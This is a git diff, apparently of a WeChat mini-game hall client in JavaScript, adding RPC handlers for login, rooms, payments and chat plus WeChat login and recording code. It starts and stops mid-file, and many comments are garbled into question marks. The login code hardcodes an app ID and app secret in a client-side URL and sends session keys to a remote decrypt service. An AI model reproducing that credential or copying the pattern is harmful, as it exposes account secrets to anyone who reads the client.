null){ + GameData.isSendLoginTimer = setTimeout(function(){ + + + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + Net.ws_tcp.close(); + GameData.isCloseTimer = setInterval(function(){ + if(GameData.isClose){ + Net.ws_tcp.close(); + } + },5000); + },4000); + } + }else{ + /* + if(GameData.sendLoginTimes >3){ + if(GameData.isSendLoginTimer){ + window.clearTimeout(GameData.isSendLoginTimer); + GameData.isSendLoginTimer = null; + } + GameUI.EndLoad(); + GameUI.OpenKick("网络繁忙,请退出游戏,稍后登录!"); + return; + } + if(GameData.sendLoginTimer == null){ + GameData.isSendLoginTimer = setTimeout(function(){ + var data={}; + data.agentid = GameData.AgentId; + data.openid = C_Player.openid; + data.gameid = GameData.GameId; + data.nickname = C_Player.nickname; + data.avatar = C_Player.avatar; + data.sex = C_Player.sex; + data.province = C_Player.province; + data.unionid=C_Player.unionid; + data.city = C_Player.city; + data.version = GameData.versionCode; + data.channelid = GameData.ChannelId; + data.marketid = GameData.marketID; + },4000); + } + */ + } + //if(GameData.sendLoginTimes>=2){ + //if(GameData.isSendLoginTimer){ + //window.clearTimeout(GameData.isSendLoginTimer); + //GameData.isSendLoginTimer = null; + //} + //if(GameData.isClose){ + //GameData.isClose = false; + //window.clearTimeout(GameData.isCloseTimer); + //} + //if(GameData.sendLoginTimer){ + //window.clearTimeout(GameData.sendLoginTimer); + //GameData.sendLoginTimer = null; + //} + //if(GameData.sendLoginTimer == null){ + //GameData.isSendLoginTimer = setTimeout(function(){ + + + //GameData.ConnectType = false; + //GameData.disType = true; + //GameData.NetType=1; + //GameUI.StartLoad(); + //GameData.isClose = true; + //Net.ws_tcp.close(); + //GameData.isCloseTimer = setInterval(function(){ + //if(GameData.isClose){ + //Net.ws_tcp.close(); + //} + //},5000); + //},4000); + //} + ////GameUI.EndLoad(); + ////GameUI.OpenKick("网络繁忙,请退出游戏,稍后登录!"); + //} + Net._SendData(AppList.app,RouteList.agent,RpcList.player_login,_data); + +} +//接收登录 +Net.player_login = function(_msg){ + if(GameData.isSendLoginTimer){ + window.clearTimeout(GameData.isSendLoginTimer); + GameData.isSendLoginTimer = null; + } + GameUI.EndLoad(); + Desk.login(_msg); + +} + +//发送玩家自己进入房间请求 +Net.Send_self_join_room = function(_data){ + GameUI.StartLoad(); + GameData.shortCode = _data.roomcode; + this._SendData(AppList.app,RouteList.agent,RpcList.self_join_room,_data); +} +//接收玩家自己进入房间请求 +Net.self_join_room = function(_msg){ + + Desk.self_join_room(_msg); + GameUI.EndLoad(); +} + +//发送未开局之前房主自己解散房间 +Net.Send_self_break_room = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_break_room,_data); +} +//接收未开局之前房主自己解散房间 +Net.self_break_room = function(_msg){ + Desk.self_break_room(_msg); + GameUI.EndLoad(); +} + +//接收未开局之前他人房主解散房间 +Net.other_break_room = function(_msg){ + Desk.other_break_room(_msg); +} +//接收其他玩家加入房间 +Net.other_join_room = function(_msg){ + if(Logic.checkRoom()){ + return; + } + Desk.other_join_room(_msg); + GameUI.EndLoad(); +} +//发送未开局之前自己退出房间 +Net.Send_self_exit_room = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_exit_room,_data); +} +//接收未开局之前自己退出房间 +Net.self_exit_room = function(_msg){ + GameUI.closeCheck(); + Desk.self_exit_room(_msg); + GameUI.EndLoad(); +} + +//接收未开局之前其他玩家退出房间 +Net.other_exit_room = function(_msg){ + if(Logic.checkRoom()){ + return; + } + Desk.other_exit_room(_msg); +} +//发送开局之后自己申请解散房间 +Net.Send_self_apply_free_room = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_apply_free_room,_data); +} +//接收开局之后自己申请解散房间 +Net.self_apply_free_room = function(_msg){ + Desk.self_apply_free_room(_msg); + GameUI.EndLoad(); + +} +//接收开局之后其他玩家申请解散房间 +Net.other_apply_free_room = function(_msg){ + Desk.other_apply_free_room(_msg); +} +//发送自己同意解散房间 +Net.Send_self_agree_free_room = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_agree_free_room,_data); +} +//接收自己同意解散房间 +Net.self_agree_free_room = function(_msg){ + Desk.self_agree_free_room(_msg); + GameUI.EndLoad(); +} +//接收其他玩家同意解散房间 +Net.other_agree_free_room = function(_msg){ + Desk.other_agree_free_room(_msg); + GameUI.EndLoad(); +} +//发送自己拒绝解散房间 +Net.Send_self_refuse_free_room = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_refuse_free_room,_data); +} +//接收自己拒绝解散房间 +Net.self_refuse_free_room = function(_msg){ + Desk.self_refuse_free_room(_msg); + GameUI.EndLoad(); +} +//接收其他玩家拒绝解散房间 +Net.other_refuse_free_room = function(_msg){ + Desk.other_refuse_free_room(_msg); + GameUI.EndLoad(); +} +//接收解散房间 +Net.free_room = function(_msg){ + Desk.free_room(_msg); + GameUI.EndLoad(); +} + +//发送获取战绩 +Net.Send_get_player_grade1 = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_player_grade1,_data); +} +//接收获取战绩 +Net.get_player_grade1 = function(_msg){ + gameCombat.get_player_grade1(_msg); + GameUI.EndLoad(); + //Logic.SetCombatInfo(_msg.data); + //GameUI.OpenCombat(); + +} +//发送获取战绩2 +Net.Send_get_player_grade2 = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_player_grade2,_data); +} +//接收获取战绩2 +Net.get_player_grade2 = function(_msg){ + gameCombat.get_player_grade2(_msg); + GameUI.EndLoad(); +} + +//接收修改房卡 +Net.update_roomcard = function(_msg){ + if(typeof _msg.data.change == "undefined"){ + C_Player.UpdateRoomcard(_msg); + } +} + +//接收其他玩家离线 +Net.other_offline = function(_msg){ + Desk.other_offline(_msg); +} + +//接收其他玩家上线 +Net.other_online = function(_msg){ + Desk.other_online(_msg); +} + +//发送发送聊天消息 +Net.Send_send_text = function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.send_text,_data); +} +//接收发送聊天消息 +Net.send_text = function(_msg){ + Desk.send_text(_msg); +} + +//发送获取任务列表 +Net.Send_get_player_task = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_player_task,_data); +} +//接收获取任务列表 +Net.get_player_task = function(_msg){ + Desk.get_player_task(_msg); + //GameUI.SetTaskInfo(_msg); + GameUI.EndLoad(); + +} +//发送完成任务 +Net.Send_player_finish_task = function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.player_finish_task,_data); +} +//接收完成任务 +Net.player_finish_task = function(_msg){ + C_Player.player_finish_task(_msg); +} +//发送领取任务奖励 +Net.Send_get_task_award = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_task_award,_data); + +} +//接收领取任务奖励 +Net.get_task_award = function(_msg){ + C_Player.get_task_award(_msg); + GameUI.EndLoad(); +} +//发送有任务可领取 +Net.Send_can_award = function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.refresh_task_state,_data); +} +//接收有任务可领取 +Net.can_award = function(_msg){ + C_Player.can_award(_msg); +} +//接收踢下线 +Net.kick_offline = function(_msg){ + Desk.kick_offline(_msg); +} +//发送自己打电话 +Net.Send_call_phone = function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.call_phone,_data); +} +//接收自己打电话 +Net.call_phone = function(_msg){ + Desk.call_phone(_msg); +} + +//发送自己挂断电话 +Net.Send_hangup_phone = function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.hangup_phone,_data); +} +//接自己收挂断打电话 +Net.hangup_phone = function(_msg){ + Desk.hangup_phone(_msg); +} + +//发送房主开局 +Net.Send_self_makewar = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.self_makewar,_data); +} +//接收房主开局 +Net.self_makewar = function(_msg){ + Desk.self_makewar(_msg); + //GameUI.EndLoad(); +} +//接收房主开局 +Net.other_makewar = function(_msg){ + Desk.makewar(_msg); +} +//自己发送互动 +Net.Send_send_gift=function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.send_gift,_data); +} +Net.send_gift=function(_msg){ + Desk.send_gift(_msg); +} + +//自己发送语音 +Net.Send_send_voice=function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.send_voice,_data); +} +Net.send_voice=function(_msg){ + Desk.send_voice(_msg); +} + +//发送切换至房间服务器 +Net.Send_connect_roomserver=function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.connect_roomserver,_data); +} +Net.connect_roomserver=function(_msg){ + + GameData.ConnectType=true; + GameData.disType =false; + GameData.ConnectPack = _msg.data; + GameData.ConnectRpc = RpcList.connect_roomserver; + GameData.Server=_msg.data.roomserver; + //Logic.Connect(); + Net.ws_tcp.close(); +} + +//发送切换至大厅服务器 +Net.Send_connect_agentserver=function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.connect_agentserver,_data); +} +Net.connect_agentserver=function(_msg){ + if(_msg.data.opt == RpcList.other_break_room || _msg.data.opt == RpcList.free_room){ + GameUI.StartLoad(); + } + GameData.ConnectType=true; + GameData.disType =false; + GameData.ConnectRpc = RpcList.connect_agentserver; + GameData.ConnectPack = _msg.data; + GameData.Server=_msg.data.agentserver; + //Logic.Connect(); + Net.ws_tcp.close(); +} +Net.Send_broadcast=function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.broadcast,_data); +} +//接收即时信息 +Net.broadcast=function(_msg){ + // + Desk.broadcast(_msg); +} +//发送互动 +Net.Send_send_phiz=function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.send_phiz,_data); +} +//接收互动 +Net.send_phiz=function(_msg){ + Desk.send_phiz(_msg); +} +//提交反馈 +Net.Send_submit_opinion=function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.submit_opinion,_data); +} +//接收反馈 +Net.submit_opinion=function(_msg){ + Desk.submit_opinion(_msg); +} +//踢出玩家 +Net.Send_kick_server=function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.kick_server,_data); +} +Net.kick_server=function(_msg){ + Desk.kick_server(_msg); +} +//获取支付列表 +Net.Send_get_paylist=function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_paylist,_data); +} +//接收支付列表 +Net.get_paylist=function(_msg){ + GameData.payList = _msg.data.paylist; + GameUI.OpenPay(); + GameUI.EndLoad(); +} +//支付成功后通知服务器 +Net.Send_pay_succ=function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.pay_succ,_data); +} +//提交位置信息 +Net.Send_submit_location=function(_data){ + if(!ConstVal.isGameHall){ + this._SendData(AppList.app,RouteList.agent,RpcList.submit_location,_data); + } +} +//提交位置信息 +Net.submit_location=function(_msg){ + Game.submit_location(_msg); +} +//发送绑定 +Net.Send_binding_invitecode=function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.binding_invitecode,_data); +} +//接收绑定 +Net.binding_invitecode=function(_msg){ + //GameUI.EndLoad(); + C_Player.binding_invitecode(_msg); +} + +//接收修改豆豆 +Net.update_bean = function(_msg){ + //C_Player.update_bean(_msg); + Desk.update_bean(_msg); +} + +Net.Send_get_player_invitecode = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_player_invitecode,_data); +} +Net.get_player_invitecode = function(_msg){ + GameUI.EndLoad(); + C_Player.setInvitecod(_msg.data.invitecode); + GameUI.OpenBind(); +} + +Net.Send_beanroom_surrender = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.beanroom_surrender,_data); +} +Net.beanroom_surrender = function(_msg){ + GameUI.EndLoad(); + GameUI.closeCheck(); + if(_msg.data.state==0){ + Game_Modify.onSurrender(_msg); + }else{//失败 + if(_msg.data.showerror==1){ + GameUI.OpenTips(_msg.data.error); + } + } + +} +Net.Send_player_prepare = function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.player_prepare,_data); +} +Net.player_prepare = function(_msg){ + Desk.player_prepare(_msg); +} +Net.Send_share_room = function(_data){ + this._SendData(AppList.app,RouteList.room,RpcList.share_room,_data); +} +Net.share_room = function(_msg){ + Desk.share_room(_msg); +} +Net.Send_get_share_room = function(_data){ + if(!ConstVal.isGameHall){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_share_room,_data); + } + +} +Net.get_share_room = function(_msg){ + Desk.get_share_room(_msg); + GameUI.EndLoad(); +} +Net.Send_quick_enter_share_room = function(_data){ + console.log(_data); + this._SendData(AppList.app,RouteList.agent,RpcList.quick_enter_share_room,_data); +} +Net.show_message = function(_msg){ + GameUI.EndLoad(); + Desk.show_message(_msg); +} +Net.Send_advanced_roomlist = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.advanced_roomlist,_data); + +} +Net.advanced_roomlist = function(_msg){ + GameUI.EndLoad(); + Desk.advanced_roomlist(_msg); +} +Net.Send_advanced_createroom = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.advanced_createroom,_data); + +} +Net.advanced_createroom = function(_msg){ + GameUI.EndLoad(); + Desk.advanced_createroom(_msg); +} +Net.Send_change_room = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.room,RpcList.change_room,_data); +} +Net.change_seat = function(_msg){ + Desk.change_seat(_msg); +} +//财富榜 +Net.Send_get_treasurelist = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.get_treasurelist,_data); +} +//财富榜 +Net.get_treasurelist = function(_msg){ + Desk.get_treasurelist(_msg); + GameUI.EndLoad(); + +} +//设置仓库密码 +Net.Send_set_bankpwd = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.set_bankpwd,_data); +} +Net.set_bankpwd = function(_msg){ + GameUI.EndLoad(); + Desk.set_bankpwd(_msg); +} + +//更改仓库星星 +Net.Send_change_star = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.change_star,_data); +} +Net.change_star = function(_msg){ + GameUI.EndLoad(); + Desk.change_star(_msg); +} + +//提交手机信息 +Net.Send_submit_phoneinfo = function(_data){ + if(!ConstVal.isGameHall){ + this._SendData(AppList.app,RouteList.agent,RpcList.submit_phoneinfo,_data); + } +} +Net.submit_phoneinfo = function(_msg){ + //GameData.submitPhoneInfo = true; + +} +//提交手机信息 +Net.Send_update_charm = function(_data){ + + this._SendData(AppList.app,RouteList.agent,RpcList.update_charm,_data); +} +Net.update_charm = function(_msg){ + //GameData.submitPhoneInfo = true; + Desk.update_charm(_msg); + +} +Net.Send_setSign = function(_data){ + + this._SendData(AppList.app,RouteList.agent,RpcList.setSign,_data); +} +Net.setSign = function(_msg){ + C_Player.setSign(_msg.data.sign); + //GameUI.setSign(_msg.data.sign); +} +Net.Send_switchRoomList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.switchRoomList,_data); +} +Net.switchRoomList = function(_msg){ + GameUI.EndLoad(); + Desk.switchRoomList(_msg); + //GameUI.setSign(_msg.data.sign); +} + +Net.Send_getInfoByShortCode = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.getInfoByShortCode,_data); +} +Net.getInfoByShortCode = function(_msg){ + GameUI.EndLoad(); + Desk.getInfoByShortCode(_msg); +} +Net.Send_optBanList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.optBanList,_data); +} +Net.optBanList = function(_msg){ + GameUI.EndLoad(); + Desk.optBanList(_msg); +} +Net.Send_getShortCodeRankList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.getShortCodeRankList,_data); +} +Net.getShortCodeRankList = function(_msg){ + GameUI.EndLoad(); + Desk.getShortCodeRankList(_msg); +} + +Net.Send_setAllCharm = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.setAllCharm,_data); +} +Net.setAllCharm = function(_msg){ + GameUI.EndLoad(); + Desk.setAllCharm(_msg); +} + +Net.Send_getVipRankList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.getVipRankList,_data); +} +Net.getVipRankList = function(_msg){ + GameUI.EndLoad(); + Desk.getVipRankList(_msg); +} + +Net.Send_playerBehavior = function(tag){ + //GameUI.StartLoad(); +/* + var _data={}; + _data.agentid = GameData.AgentId; + _data.gameid = GameData.GameId; + _data.playerid = C_Player.playerid; + _data.tag = tag; + this._SendData(AppList.app,RouteList.agent,RpcList.playerBehavior,_data); + */ + var url = "http://test3.1888day.com/api/gamedo/gamedo"; + var cfg = {}; + cfg.url = url; + cfg.type = "GET"; + cfg.data = "agentid="+GameData.AgentId+"&gameid="+GameData.GameId+"&playerid="+C_Player.playerid+"&tag="+tag; + + cfg.success = playerBehavior_Succ; + cfg.error = playerBehavior_Fail; + min_http(cfg); + +} +var playerBehavior_Succ = function(_msg,state,input_msg){ + console.log("Succ"); + console.log(_msg,state,input_msg); +} +var playerBehavior_Fail = function(_msg,state,input_msg){ + console.log("Fail"); + console.log(_msg,state,input_msg); +} +Net.playerBehavior = function(_msg){ + //GameUI.EndLoad(); + Desk.playerBehavior(_msg); +} +Net.Send_binding_phone = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.binding_phone,_data); +} +Net.binding_phone = function(_msg){ + GameUI.EndLoad(); + Desk.binding_phone(_msg); +} +Net.Send_send_phone_checkcode = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.send_phone_checkcode,_data); +} +Net.send_phone_checkcode = function(_msg){ + //GameUI.EndLoad(); + Desk.send_phone_checkcode(_msg); +} +Net.Send_send_phone_code_wechat = function(_data){ + //GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.send_phone_code_wechat,_data); +} +Net.send_phone_code_wechat = function(_msg){ + //GameUI.EndLoad(); + Desk.send_phone_code_wechat(_msg); +} + +Net.Send_setVipForbidSelect = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.setVipForbidSelect,_data); +} +Net.setVipForbidSelect = function(_msg){ + GameUI.EndLoad(); + Desk.setVipForbidSelect(_msg); +} +Net.Send_topup_card = function(_data){ + console.log(_data); + this._SendData(AppList.app,RouteList.agent,RpcList.topup_card,_data); +} +Net.topup_card = function(_msg){ + Desk.topup_card(_msg); +} +Net.Send_query_player2 = function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.query_player2,_data); +} +Net.query_player2 = function(_msg){ + Desk.query_player2(_msg); +} +Net.Send_giveCoin = function(_data){ + this._SendData(AppList.app,RouteList.agent,RpcList.giveCoin,_data); +} +Net.giveCoin = function(_msg){ + Desk.giveCoin(_msg); +} +Net.Send_getPlayerWhiteList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.getPlayerWhiteList,_data); +} +Net.getPlayerWhiteList = function(_msg){ + GameUI.EndLoad(); + Desk.getPlayerWhiteList(_msg); +} +Net.Send_optWhiteList = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.optWhiteList,_data); +} +Net.optWhiteList = function(_msg){ + GameUI.EndLoad(); + Desk.optWhiteList(_msg); +} + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/10_Game.js b/games/games/Projects/clinet/gamehall/js/00_Surface/10_Game.js new file mode 100644 index 0000000..0c4de93 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/10_Game.js @@ -0,0 +1,610 @@ +var Game=Game||{}; + +Game.submit_location = function(_msg){ + GameData.submitLocation = true; + if(_msg.data.wechat_gzh){ + GameData.wechat_gzh = _msg.data.wechat_gzh; + set_self(340,41,0,0,0); + set_self(340,7,GameData.wechat_gzh,0,0); + set_self(339,20,GameData.wechat_gzh.gblen()*13,0,0); + set_self(340,18,get_self(16,18,0,0,0)+get_self(16,20,0,0,0)/2-GameData.wechat_gzh.gblen()*6.5,0,0); + set_self(339,18,get_self(16,18,0,0,0)+get_self(16,20,0,0,0)/2-GameData.wechat_gzh.gblen()*6.5,0,0); + } + if(_msg.data.wechat_ewm){ + GameData.wechat_ewm=_msg.data.wechat_ewm; + } + if(_msg.data.wechat_kfh){ + GameData.wechat_kfh=_msg.data.wechat_kfh; + set_self(179,7,GameData.wechat_kfh,0,0); + } + if(_msg.data.qq){ + GameData.qq=_msg.data.qq; + set_self(682,7,GameData.qq,0,0); + } + if(_msg.data.tel){ + GameData.tel=_msg.data.tel; + set_self(GameData.telSpid,20,String(GameData.tel).gblen()*14,0,0); + set_self(GameData.telSpid,7,GameData.tel,0,0); + } + if(_msg.data.invitecode){ + C_Player.setInvitecod(_msg.data.invitecode); + GameUI.CloseBind(); + } + +} +//游戏其他信息 +//Game.mainSceneInfo = {}; +var recorderManager; +var innerAudioContext1; + + /** + * ?????????? mdata ?????? + * openId,avatarUrl,nickName, gender, city, province, unionId + */ + function getwxuserinfo(mdata) { + sharelogin(mdata.openId,mdata.avatarUrl,mdata.nickName,mdata.gender,mdata.city,mdata.province,mdata.unionId) + } + + + /** + * ???????? + */ + function wxgameshow(mdata) { + appservice(1); + } + /** + * ???????? + */ + function wxgamehide(mdata) { + appservice(2); + } + /** + * ?????? state ???? 1 ?? 2 ?? + */ + function sharegameinfo(state) { + //if (state == 1) { + + //} + //if (state == 2) { + + //} + state = Number(state); + //type = Number(type); + C_Player.sharesuccess(state,1); + + + } +//Recorderload(); + + +/** + * ??????? + */ +function Recorderload(){ + if(!innerAudioContext1){ + innerAudioContext1 = wx.createInnerAudioContext(); + } + var that = this; + recorderManager=wx.getRecorderManager() + recorderManager.onError(function(){ + + console.log("????!"); + }); + recorderManager.onStop(function(res){ + + console.log(res.tempFilePath ); + + console.log("????!"); + //playRecord(res.tempFilePath); + getaudiourl(res.tempFilePath,5); + }); + + + //innerAudioContext1.onError((res) => { + //console.log("??????!"); + + //}) + //innerAudioContext1.onEnded((res) => { + //console.log("??????!"); + //}) + innerAudioContext1.onError(function(res){ + console.log("??????!"); + + }) + innerAudioContext1.onEnded(function(res){ + console.log("??????!"); + }) +} +/** + * ?????????? + */ + function isxiaowxgame(){ + var iswxgame; + try{ + var recorderManager = wx.getRecorderManager(); + iswxgame=true; + }catch(e){ + iswxgame=false; + } + return iswxgame; + + } + function wxauthorize(){ + + } + /** + * ???? + */ + function startRecordAac (){ + console.log("开始录音"); + recorderManager.start({ + format: 'aac' + }); +// wx.authorize({ +// scope: 'scope.record', +// fail: function (res) { +// // iOS ? Android ????????? errMsg ????,????????? +// console.log("????"); +// console.log(res); +// if (res.errMsg.indexOf('auth deny') > -1 || res.errMsg.indexOf('fail') > -1 || res.errMsg.indexOf('auth denied') > -1 ) { +// // ??????????? +// console.log("????"); +// wx.showModal({ +// title: '??', +// content: '??????????????????->??(?????)->?????->??', +// showCancel:false, +// success: function (res) { +// if (res.confirm) { +// console.log('??????') +// } else if (res.cancel) { +// console.log('??????') +// } +// } +// }) +// } +// }, +// success:function (res) { +// console.log("????"); +// recorderManager.start({ +// format: 'aac' +// }); +// } +// }) + + + } + /** + * ???? + */ + + function stopRecord (){ + console.log("结束录音"); +// wx.authorize({ +// scope: 'scope.record', +// fail: function (res) { +// console.log("fail????"); +// }, +// success:function (res) { +// console.log("stop????"); + +// } +// }) + recorderManager.stop() + } + /*** + * ???? + */ + function playRecord (src) { + if(!innerAudioContext1){ + innerAudioContext1 = wx.createInnerAudioContext(); + } + //var that = this; + // var src = this.data.src; + if (src == '') { + console.log("????!"); + return; + } + innerAudioContext1.src = src; + innerAudioContext1.play() +} + + + + + + var Wxloginbutton; + /** + * ????? + */ + function initwxgame() { + gameshow(); + gamehide(); + } + //initwxgame(); + /** + * ??????? + */ + //function gameshow() { + //wx.onShow(data => { + //console.log("******" + data) + //console.log(data) + //wxgameshow(data); + + //}); + //} + function gameshow() { + wx.onShow(function(data){ + console.log("******" + data) + console.log(data) + wxgameshow(data); + + }); + } + /** + * ??????? + */ + //function gamehide() { + //wx.onHide(data => { + //wxgamehide(data) + + //}); + //} + function gamehide() { + wx.onHide(function(data){ + wxgamehide(data) + + }); + } + /* + * ????????? + * wxgamew ?????? wxgameh ?????? imagex ???????? imagey ???????? imagew???? imageh ???? btnimageurl ???? + */ + function WXgameloginbuttonshow(wxgamew, wxgameh, imagex, imagey, imagew, imageh, btnimageurl) { + + var winh, winw; + try { + + + wx.getSystemInfo({ + success: function (res) { + console.log(res.model) + console.log(res.pixelRatio) + console.log(res.windowWidth) + console.log(res.windowHeight) + winh = res.windowHeight; + winw = res.windowWidth; + + } + }) + + + var sh = winh / wxgameh; + var sw = winw / wxgamew; + console.log("sw=" + sw + "sh=" + sh); + + imagew = parseInt(imagew * sw); + imageh = parseInt(imageh * sh); + imagex = parseInt(imagex * sw); + imagey = parseInt(imagey * sh);; + + + if (wx.createUserInfoButton) { + + + if (Wxloginbutton) { + console.log("??button"); + Wxloginbutton.show(); + Wxloginbutton.offTap();//???????? + + } else { + + console.log("????button"); + // console.log(document.title); + + Wxloginbutton = wx.createUserInfoButton({ + type: 'image', + image: btnimageurl, + style: { + left: imagex, + top: imagey, + width: imagew, + height: imageh + } + }) + + } + //Wxloginbutton.onTap((res) => { + + + //console.log(res) + //if (res.errMsg.indexOf('auth deny') > -1 || res.errMsg.indexOf('auth denied') > -1 || res.errMsg.indexOf('fail') > -1 ) { + //wx.showModal({ + //title: '??', + //content: '??????????????????->??(?????)->?????->??', + //showCancel: false, + //success: function (res) { + //if (res.confirm) { + //console.log('??????') + //} else if (res.cancel) { + //console.log('??????') + //} + //} + //}) + //} else { + //WXgameLogin(res); + //} + //}) + Wxloginbutton.onTap(function(res){ + + + console.log(res) + if (res.errMsg.indexOf('auth deny') > -1 || res.errMsg.indexOf('auth denied') > -1 || res.errMsg.indexOf('fail') > -1 ) { + wx.showModal({ + title: '??', + content: '??????????????????->??(?????)->?????->??', + showCancel: false, + success: function (res) { + if (res.confirm) { + console.log('??????') + } else if (res.cancel) { + console.log('??????') + } + } + }) + } else { + WXgameLogin(res); + } + }) + + } else { + // ???????????????????????,??????? + console.log("????????"); + wx.showModal({ + title: '??', + content: '????????,???????,??????????????', + showCancel:false, + success: function (res) { + if (res.confirm) { + console.log('??????') + } else if (res.cancel) { + console.log('??????') + } + } + }) + } + } catch (e) { + + } + } + /** + * ???????? + */ + function WXgameloginbuttonhide() { + if (Wxloginbutton) { + Wxloginbutton.hide(); + } + } + + function Decrypt(key, iv, word) { + // var openDataContext = wx.getOpenDataContext() + // openDataContext.postMessage({ + // text: 'hello', + // year: (new Date()).getFullYear() + // }) + + var murl = "https://games.tscce.cn/wechatsmallgame/encrypt.php"; + var date = {}; + date.key = encodeURIComponent(key); + date.type = "decrypt"; + date.iv = encodeURIComponent(iv); + date.data = encodeURIComponent(word); + + + wx.request({ + url: murl, + data: date, + method: 'POST', + header: { + "Content-Type": "application/x-www-form-urlencoded" + }, + success: function (res) { + if (res.statusCode == 200) { + + if (res.data) { + var mdata = decodeURIComponent(res.data); + console.log('??------' + mdata) + mdata = JSON.parse(mdata); + + try { + console.log("??"); + Wxloginbutton.hide(); + console.log("Wxloginbutton??"); + getwxuserinfo(mdata); + } catch (e) { + + } + + // sharelogin(mdata.openId, mdata.avatarUrl, mdata.nickName, mdata.gender, mdata.city, mdata.province, mdata.unionId); + + } + + } else { + console.log('??!res.statusCode' + res.statusCode) + } + }, + fail: function (res) { + console.log('??!') + } + }); + } + function WXgameLogin(uesrdata) { + + // ?? + wx.login({ + + //success: res => { + + //if (res.code) { + //var murl = "https://games.tscce.cn/wechatsmallgame/code2accessToken.php?appid=wxaeeca8ffffa94105" +"&secret=639a292164680d4cd87a024edae21f41"+"&js_code="+res.code; + + //console.log("????res.code=" + res.code); + //wx.request({ + //url: murl, + //method: 'GET', + //header: { + //'content-type': 'application/json' + //}, + //success: function (res) { + //console.log('??' + JSON.stringify(res)); + //console.log('res.statusCode' + res.statusCode); + //if (res.statusCode == 200) { + //var openid = res.data.openid; + //var unionid = res.data.unionid; + //var session_key = res.data.session_key; + //Decrypt(session_key, uesrdata.iv, uesrdata.encryptedData); + + //} else { + //console.log('??!res.statusCode' + res.statusCode) + //} + //}, + //fail: function (res) { + //console.log('??!') + //} + //}); + //} + + //} + success: function(res){ + + if (res.code) { + var murl = "https://games.tscce.cn/wechatsmallgame/code2accessToken.php?appid=wxaeeca8ffffa94105" +"&secret=639a292164680d4cd87a024edae21f41"+"&js_code="+res.code; + + console.log("????res.code=" + res.code); + wx.request({ + url: murl, + method: 'GET', + header: { + 'content-type': 'application/json' + }, + success: function (res) { + console.log('??' + JSON.stringify(res)); + console.log('res.statusCode' + res.statusCode); + if (res.statusCode == 200) { + var openid = res.data.openid; + var unionid = res.data.unionid; + var session_key = res.data.session_key; + Decrypt(session_key, uesrdata.iv, uesrdata.encryptedData); + + } else { + console.log('??!res.statusCode' + res.statusCode) + } + }, + fail: function (res) { + console.log('??!') + } + }); + } + + } + }); + + } + /** + * ????????? + */ + function initgameshareinfo(sharetitle, shareimageurl) { + wx.showShareMenu({ withShareTicket: true }); + //wx.onShareAppMessage(data => { + //return { + //title: sharetitle, + //imageUrl: shareimageurl, + //query: '', + //success: function (res) { + //console.log(res); + //console.log('??????'); + //sharegameinfo(1); + //}, + //fail: function (res) { + 